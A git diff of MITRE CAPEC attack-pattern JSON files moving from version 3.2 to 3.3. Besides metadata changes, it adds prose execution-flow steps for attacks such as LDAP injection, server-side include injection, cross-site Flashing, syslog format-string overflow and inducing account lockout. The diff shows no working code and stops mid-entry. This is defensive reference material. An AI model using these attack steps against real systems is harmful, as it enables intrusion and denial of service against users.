a/capec/attack-pattern/attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a.json +++ b/capec/attack-pattern/attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5781527d-2d3b-4ff2-bbd2-d551ac4dc804", + "id": "bundle--2fea9ee8-bdaa-47a3-96fe-8029d04036f8", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Targeted Malware", "description": "An adversary develops targeted malware that takes advantage of a known vulnerability in an organizational information technology environment. The malware crafted for these attacks is based specifically on information gathered about the technology environment. Successfully executing the malware enables an adversary to achieve a wide variety of negative technical impacts.", "external_references": [ @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255.json b/capec/attack-pattern/attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255.json index 60d6e7d9ab..d96cc43564 100644 --- a/capec/attack-pattern/attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255.json +++ b/capec/attack-pattern/attack-pattern--48ba5f20-2888-4a0c-8cc6-28631533f255.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e95caf85-b67c-42e8-9146-c4f14b1d14d4", + "id": "bundle--37c18b13-35cf-43db-a81f-07ae0a9a3acf", "spec_version": "2.0", "objects": [ { @@ -34,7 +34,7 @@ "High": "Adversaries require non-trivial technical skills to create and implement fault injection attacks on mobile devices. Although this style of attack has become easier (commercial equipment and training classes are available to perform these attacks), they usual require significant setup and experimentation time during which physical access to the device is required. This prerequisite makes the attack challenging to perform (assuming that physical security countermeasures and monitoring are in place)." }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4.json b/capec/attack-pattern/attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4.json index 5524f12595..907a5420a8 100644 --- a/capec/attack-pattern/attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4.json +++ b/capec/attack-pattern/attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ff5337aa-009f-463b-9b0e-bdc93133cd2c", + "id": "bundle--11f182be-0fcc-4e0b-8efb-4d26cd7bc1ea", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--48f21dcd-2490-49c6-9690-1cb586b201f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Intent Intercept", "description": "An adversary, through a previously installed malicious application, intercepts messages from a trusted Android-based application in an attempt to achieve a variety of different objectives including denial of service, information disclosure, and data injection. An implicit intent sent from a trusted application can be received by any application that has declared an appropriate intent filter. If the intent is not protected by a permission that the malicious application lacks, then the attacker can gain access to the data contained within the intent. Further, the intent can be either blocked from reaching the intended destination, or modified and potentially forwarded along.", "external_references": [ @@ -37,7 +37,7 @@ "An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application is used to intercept implicit intents." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb.json b/capec/attack-pattern/attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb.json index 08ffe88153..9d7106545f 100644 --- a/capec/attack-pattern/attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb.json +++ b/capec/attack-pattern/attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--94e2f1b4-f6ca-40b9-8371-9c6b071d3e7e", + "id": "bundle--735625fa-9e33-4c7d-81cd-22aa896edd37", "spec_version": "2.0", "objects": [ { @@ -54,7 +54,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e.json b/capec/attack-pattern/attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e.json index af13c2ea93..0d75f1010d 100644 --- a/capec/attack-pattern/attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e.json +++ b/capec/attack-pattern/attack-pattern--490fc09c-a624-44cd-8e9e-f4ce8ad2311e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--80e7a420-97fb-42c0-bf52-1b6934189bd4", + "id": "bundle--69e51bc6-986c-4219-9c1d-822cdc633db9", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6.json b/capec/attack-pattern/attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6.json index 5849449a0d..a425b8e1c6 100644 --- a/capec/attack-pattern/attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6.json +++ b/capec/attack-pattern/attack-pattern--49132d37-44e8-458c-a06e-0e5b9ac9bbd6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9b833baf-dc8e-48c8-b873-0ed5ba21b66e", + "id": "bundle--7f29d492-c368-41a4-ad03-6f960d6b29eb", "spec_version": "2.0", "objects": [ { @@ -36,6 +36,7 @@ "Blind SQL injection is an example of this technique, applied to successful exploit. See also: CVE-2006-4705", "\n Attacker sends bad data at various servlets in a J2EE system, records returned exception stack traces, and maps application functionality.\n In addition, this technique allows attackers to correlate those servlets used with the underlying open source packages (and potentially version numbers) that provide them.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine user-controllable parameters of the application

Exploit

  1. Inject each parameter with content that causes an error condition to manifest

  2. Modify the content of each parameter according to observed error conditions

  3. Repeat above steps with enough parameters until the application has been sufficiently mapped out to launch desired attack (for example, Blind SQL Injection)

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "This class of attacks does not strictly require authorized access to the application. As Attackers use this attack process to classify, map, and identify vulnerable aspects of an application, it simply requires hypotheses to be verified, interaction with the application, and time to conduct trial-and-error activities." @@ -48,7 +49,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee.json b/capec/attack-pattern/attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee.json index b5abb095f0..14e1eba207 100644 --- a/capec/attack-pattern/attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee.json +++ b/capec/attack-pattern/attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3e85c946-62cd-4ca2-acf4-31869e1934fa", + "id": "bundle--889e6c81-9cba-406d-9012-41ba3d97fc5e", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--49fd3a48-37db-4154-8068-deea00e3160b.json b/capec/attack-pattern/attack-pattern--49fd3a48-37db-4154-8068-deea00e3160b.json index 9a432fd97e..f66984a18b 100644 --- a/capec/attack-pattern/attack-pattern--49fd3a48-37db-4154-8068-deea00e3160b.json +++ b/capec/attack-pattern/attack-pattern--49fd3a48-37db-4154-8068-deea00e3160b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0ab4871c-5d20-4c08-b5f6-be78d0815472", + "id": "bundle--3712be9f-61ab-41c4-a36f-966bc0b992ee", "spec_version": "2.0", "objects": [ { @@ -74,7 +74,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4a29d66d-8617-4382-b456-578ecdb1609e.json b/capec/attack-pattern/attack-pattern--4a29d66d-8617-4382-b456-578ecdb1609e.json index 99f1f64763..f748eff0d0 100644 --- a/capec/attack-pattern/attack-pattern--4a29d66d-8617-4382-b456-578ecdb1609e.json +++ b/capec/attack-pattern/attack-pattern--4a29d66d-8617-4382-b456-578ecdb1609e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3953e8db-ecf5-4ed8-9186-8e10e0652551", + "id": "bundle--a5bcd4e9-6e40-4939-a168-c9fb01e66fe1", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4a29d66d-8617-4382-b456-578ecdb1609e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Buffer Overflow via Environment Variables", "description": "This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.", "external_references": [ @@ -108,6 +108,7 @@ "\n Attack Example: Buffer Overflow in $HOME\n A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable.See also: CVE-1999-0906", "\n Attack Example: Buffer Overflow in TERM\n A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable.See also: CVE-1999-0046" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker tries to find an environment variable which can be overwritten for instance by gathering information about the target host (error pages, software's version number, etc.).

Experiment

  1. The attacker manipulates the environment variable to contain excessive-length content to cause a buffer overflow.

Exploit

  1. The attacker potentially leverages the buffer overflow to inject maliciously crafted code in an attempt to execute privileged command on the target environment.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application uses environment variables.", @@ -121,7 +122,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471.json b/capec/attack-pattern/attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471.json index f8a91799b4..6e53106edc 100644 --- a/capec/attack-pattern/attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471.json +++ b/capec/attack-pattern/attack-pattern--4abd48c8-f737-45db-bd7b-97d989ebd471.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--33f20966-cd90-4a5c-9b85-968362ec4f60", + "id": "bundle--c862d1d4-9a15-46a5-a426-bedbb47c77cb", "spec_version": "2.0", "objects": [ { @@ -52,7 +52,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083.json b/capec/attack-pattern/attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083.json index 43a998e2e4..a90d84aadc 100644 --- a/capec/attack-pattern/attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083.json +++ b/capec/attack-pattern/attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--dd3c378c-e00d-47be-af35-fcd787a52110", + "id": "bundle--a86e4c91-033f-456d-9d5b-a513f9d703c1", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b.json b/capec/attack-pattern/attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b.json index d63bbec29e..012c8b01a3 100644 --- a/capec/attack-pattern/attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b.json +++ b/capec/attack-pattern/attack-pattern--4b3c7a8c-f801-43d9-9ba7-1d0e2dc87e8b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4fc5af1e-2c48-4ff9-860c-3670a5a4ab96", + "id": "bundle--150b043b-fd82-48e1-bab8-88145bf1c317", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4b435e98-08cb-4464-bf08-32f95e011d05.json b/capec/attack-pattern/attack-pattern--4b435e98-08cb-4464-bf08-32f95e011d05.json index 877670938e..2bf0d981e9 100644 --- a/capec/attack-pattern/attack-pattern--4b435e98-08cb-4464-bf08-32f95e011d05.json +++ b/capec/attack-pattern/attack-pattern--4b435e98-08cb-4464-bf08-32f95e011d05.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9008eab5-6044-492a-b8b7-f127fb8e4097", + "id": "bundle--fb132896-227d-4c73-9ff3-864ba229bdfb", "spec_version": "2.0", "objects": [ { @@ -74,6 +74,7 @@ "x_capec_example_instances": [ "PowerDNS before 2.9.18, when running with an LDAP backend, does not properly escape LDAP queries, which allows remote attackers to cause a denial of service (failure to answer ldap questions) and possibly conduct an LDAP injection attack. See also: CVE-2005-2301" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: The attacker takes an inventory of the entry points of the application.

    2. Techniques
    Spider web sites for all available links
    Sniff network communications with application using a utility such as WireShark.

Experiment

  1. Determine user-controllable input susceptible to LDAP injection: For each user-controllable input that the attacker suspects is vulnerable to LDAP injection, attempt to inject characters that have special meaning in LDAP (such as a single quote character, etc.). The goal is to create a LDAP query with an invalid syntax

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.
    Use modified client (modified by reverse engineering) to inject input.

  2. Try to exploit the LDAP injection vulnerability: After determining that a given input is vulnerable to LDAP Injection, hypothesize what the underlying query looks like. Possibly using a tool, iteratively try to add logic to the query to extract information from the LDAP, or to modify or delete information in the LDAP.

    3. Techniques
    Add logic to the LDAP query to change the meaning of that command. Automated tools could be used to generate the LDAP injection strings.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, or other HTTP header.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target application must accept a string as user input, fail to sanitize characters that have a special meaning in LDAP queries in the user input, and insert the user-supplied string in an LDAP query which is then processed." @@ -83,7 +84,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4b856ceb-8bf7-4f0e-b423-89a420455b1d.json b/capec/attack-pattern/attack-pattern--4b856ceb-8bf7-4f0e-b423-89a420455b1d.json index aae2fabb39..bba2f97841 100644 --- a/capec/attack-pattern/attack-pattern--4b856ceb-8bf7-4f0e-b423-89a420455b1d.json +++ b/capec/attack-pattern/attack-pattern--4b856ceb-8bf7-4f0e-b423-89a420455b1d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2ecfec4a-de94-48bc-b394-cfb6805edad3", + "id": "bundle--1c292470-2cf8-4597-b800-eed99dfaf17c", "spec_version": "2.0", "objects": [ { @@ -47,7 +47,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4ba540ef-b8ad-4bf7-acac-d8855661c4a2.json b/capec/attack-pattern/attack-pattern--4ba540ef-b8ad-4bf7-acac-d8855661c4a2.json index 40698c62be..793c1dbe1b 100644 --- a/capec/attack-pattern/attack-pattern--4ba540ef-b8ad-4bf7-acac-d8855661c4a2.json +++ b/capec/attack-pattern/attack-pattern--4ba540ef-b8ad-4bf7-acac-d8855661c4a2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a6d2aa73-ecdb-4d76-805f-369d6b0b4a3d", + "id": "bundle--dd62e36f-89ba-4655-903e-72eefd21bcdf", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4ba540ef-b8ad-4bf7-acac-d8855661c4a2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Black Box Reverse Engineering", "description": "An attacker discovers the structure, function, and composition of a type of computer software through black box analysis techniques. 'Black Box' methods involve interacting with the software indirectly, in the absence of direct access to the executable object. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs.", "external_references": [ @@ -16,6 +16,11 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/189.html", "external_id": "CAPEC-189" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/203.html", + "external_id": "CWE-203" } ], "object_marking_refs": [ @@ -27,7 +32,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4cd18074-15c1-4206-8391-115685669623.json b/capec/attack-pattern/attack-pattern--4cd18074-15c1-4206-8391-115685669623.json index 7e35f88876..dc2a6e20ee 100644 --- a/capec/attack-pattern/attack-pattern--4cd18074-15c1-4206-8391-115685669623.json +++ b/capec/attack-pattern/attack-pattern--4cd18074-15c1-4206-8391-115685669623.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--59bb70c5-2c73-46dd-82e0-25a20d5c8819", + "id": "bundle--04f3c047-17ec-4126-899f-5095abce71c2", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4cd18074-15c1-4206-8391-115685669623", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "String Format Overflow in syslog()", "description": "This attack targets the format string vulnerabilities in the syslog() function. An attacker would typically inject malicious input in the format string parameter of the syslog function. This is a common problem, and many public vulnerabilities and associated exploits have been posted.", "external_references": [ @@ -104,13 +104,14 @@ "x_capec_example_instances": [ "Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication. See also: CVE-2002-0412" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker finds that they can inject data to the format string parameter of Syslog().

Exploit

  1. The attacker craft a malicious input and inject it into the format string parameter. From now on, the attacker can execute arbitrary code and do more damage.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The format string argument of the Syslog function can be tainted with user supplied data." ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353.json b/capec/attack-pattern/attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353.json index 2241323861..57e7adcef8 100644 --- a/capec/attack-pattern/attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353.json +++ b/capec/attack-pattern/attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bb62fe8d-fb61-4211-b426-b9845e44d4ba", + "id": "bundle--09753e23-77fc-44f8-82df-168d6c500f02", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4ce65b20-6d2c-4217-b08a-e87b36c22353", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross-Site Flashing", "description": "An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.", "external_references": [ @@ -66,8 +66,9 @@ ] }, "x_capec_example_instances": [ - "The attacker tries to get his malicious flash movie to be executed in the targeted flash application. The malicious file is hosted on the attacker.com domain and the targeted flash application is hosted on example.com The crossdomain.xml file in the root of example.com allows all domains and no specific restriction is specified in the targeted flash application. When the attacker injects his malicious file in the vulnerable flash movie, the rogue flash application is able to access internal variables and parameter of the flash movie." + "The attacker tries to get their malicious flash movie to be executed in the targeted flash application. The malicious file is hosted on the attacker.com domain and the targeted flash application is hosted on example.com The crossdomain.xml file in the root of example.com allows all domains and no specific restriction is specified in the targeted flash application. When the attacker injects their malicious file in the vulnerable flash movie, the rogue flash application is able to access internal variables and parameter of the flash movie." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identification: Using a browser or an automated tool, an attacker records all instances of URLs (or partial URL such as domain) passed to a flash file (SWF).

    2. Techniques
    Use an automated tool to record the variables passed to a flash file.
    Use a browser to manually explore the website and analyze how the flash file receive variables, e.g. JavaScript using SetVariable/GetVariable, HTML FlashVars param tag, etc.
    Use decompilers to retrieve the flash source code and record all user-controllable variables passed to a loadMovie* directive.

Experiment

  1. Attempt to inject a remote flash file: The attacker makes use of a remotely available flash file (SWF) that generates a uniquely identifiable output when executed inside the targeted flash file.

    2. Techniques
    Modify the variable of the SWF file that contains the remote movie URL to the attacker controlled flash file.

Exploit

  1. Access or Modify Flash Application Variables: As the attacker succeeds in exploiting the vulnerability, they target the content of the flash application to steal variable content, password, etc.

    2. Techniques
    Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and loaded by the victim browser's flash plugin and sends document information to the attacker.
    Develop malicious Flash application that is injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the flash application to execute appropriately.

  2. Execute JavaScript in victim's browser: When the attacker targets the current flash application, they can choose to inject JavaScript in the client's DOM and therefore execute cross-site scripting attack.

    3. Techniques
    Develop malicious JavaScript that is injected from the rogue flash movie to the targeted flash application through vectors identified during the Experiment Phase and loaded by the victim's browser.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The targeted Flash application must reference external URLs and the locations thus referenced must be controllable through parameters. The Flash application must fail to sanitize such parameters against malicious manipulation. The victim must follow a crafted link created by the attacker." @@ -77,7 +78,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239.json b/capec/attack-pattern/attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239.json index 1f7ddd4c03..8036cb3276 100644 --- a/capec/attack-pattern/attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239.json +++ b/capec/attack-pattern/attack-pattern--4cfba0b3-4740-49ae-bbb4-2dad27886239.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--772fcf25-b00d-4842-88a8-1a9b02284539", + "id": "bundle--f1c50068-f5cb-4bca-b1ef-65771042dc42", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4e7abad3-5853-4e4b-a64e-7f23f10f8656.json b/capec/attack-pattern/attack-pattern--4e7abad3-5853-4e4b-a64e-7f23f10f8656.json index 218085c85f..e8abfc880b 100644 --- a/capec/attack-pattern/attack-pattern--4e7abad3-5853-4e4b-a64e-7f23f10f8656.json +++ b/capec/attack-pattern/attack-pattern--4e7abad3-5853-4e4b-a64e-7f23f10f8656.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--64bd2a48-1218-449c-a4c5-12f1fa11dbbd", + "id": "bundle--c8483907-1fd2-48e9-851f-dae16fbad27b", "spec_version": "2.0", "objects": [ { @@ -57,6 +57,7 @@ "x_capec_example_instances": [ "\n Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the \"Options Includes\" directive enabled.\n Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error.\n When these logs are eventually reviewed, the server parses the SSI directives and executes them.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine applicability: The attacker determines whether server side includes are enabled on the target web server.

    2. Techniques
    Look for popular page file names. The attacker will look for .shtml, .shtm, .asp, .aspx, and other well-known strings in URLs to help determine whether SSI functionality is enabled.
    Fetch .htaccess file. In Apache web server installations, the .htaccess file may enable server side includes in specific locations. In those cases, the .htaccess file lives inside the directory where SSI is enabled, and is theoretically fetchable from the web server. Although most web servers deny fetching the .htaccess file, a misconfigured server will allow it. Thus, an attacker will frequently try it.

  2. Attempt SSI: Look for user controllable input, including HTTP headers, that can carry server side include directives to the web server.

    3. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.

  3. Inject SSI: The attacker may then need to view a particular page in order to have the server execute the include directive and run a command or open a file on behalf of the attacker

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A web server that supports server side includes and has them enabled", @@ -70,7 +71,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042.json b/capec/attack-pattern/attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042.json index 76c2ffcf69..ba10f358db 100644 --- a/capec/attack-pattern/attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042.json +++ b/capec/attack-pattern/attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--239ee7a8-bef1-435c-bd4f-7a1faf2c536d", + "id": "bundle--f0c94bc2-86e2-4d59-b840-e78e5fa81a77", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4ee9fc30-e736-4f4f-b55b-8a3008214042", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Inducing Account Lockout", "description": "An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.", "external_references": [ @@ -35,6 +35,7 @@ "x_capec_example_instances": [ "A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction." ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. Investigate account lockout behavior of system: Investigate the security features present in the system that may trigger an account lockout

    2. Techniques
    Analyze system documentation to find list of events that could potentially cause account lockout
    Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly
    Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out.

  2. Obtain list of user accounts to lock out: Generate a list of valid user accounts to lock out

    3. Techniques
    Obtain list of authorized users using another attack pattern, such as SQL Injection.
